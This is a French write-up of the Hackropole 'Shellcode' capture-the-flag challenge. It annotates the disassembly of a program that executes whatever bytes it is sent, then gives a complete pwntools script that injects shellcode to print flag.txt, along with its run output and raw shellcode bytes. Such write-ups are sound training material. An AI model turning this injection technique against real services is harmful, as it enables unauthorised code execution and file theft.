Shellcode | Hackropole
Shellcode | Hackropole
Shellcode
Ressources
- Lien : Hackropole/pwn/shellcode
Analyse
Lecture de code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
; préparation de la stack
push rbp
mov rbp,rsp
; code de main()
sub rsp,0x200 ; créer un espace de 512 octets
lea rax,[rbp-0x200] ; Mettre l'adresse de cette espace dans RAX
; Syscall read()
mov edx,0x200
mov rsi,rax
mov edi,0x0
call 0x1030 <read@plt>
; mettre l'entrée utilisateur à l'adresse de l'espace créé
lea rax,[rbp-0x200]
; Executer ce que l'utilisateur à mis
call rax
On peut voir dans la fonction main qu’il ne s’agit pas vraiment d’un challenge de hacking mais simplement d’un programme qui peut recevoir 0x200 octets de shellcode et l’exécuter.
Exploit
Notre objectif est de créer un shellcode qui affichera le contenu de flag.txt. La manière la plus simple est de faire :
1
asm(shellcraft.cat("flag.txt"))
Exploit complet :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
from pwn import *
import argparse
context.arch = "amd64"
def get_args():
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument("-?", "--help", action="help", help="show this help message and exit")
parser.add_argument("-t", "--timeout", help="Timeout while receiving response", default=5, type=float)
parser.add_argument("-l", "--local", help="File path to the binary", type=str)
parser.add_argument("-p", "--port", help="Remote port", type=int)
parser.add_argument("-h", "--host", help="Remote host", type=str)
args = parser.parse_args()
return args
def main(args):
if args.local:
target = process(args.local)
elif args.host and args.port:
target = remote(args.host, args.port)
payload = asm(shellcraft.cat("flag.txt"))
print(f"[>] {payload}")
target.sendline(payload)
flag = target.recvuntil(b'}')
print(f"[<] {flag}")
exit(0)
if __name__ == "__main__":
args = get_args()
main(args)
Obtention du flag
1
2
3
4
5
./exploit.py -h 127.0.0.1 -p 4000
[+] Opening connection to 127.0.0.1 on port 4000: Done
[>] b'j\x01\xfe\x0c$H\xb8flag.txtPj\x02XH\x89\xe71\xf6\x0f\x05A\xba\xff\xff\xff\x7fH\x89\xc6j(Xj\x01_\x99\x0f\x05'
[<] b'FCSC{9f8a............................................4f7a}'
[*] Closed connection to 127.0.0.1 port 4000
This post is licensed under CC BY 4.0 by the author.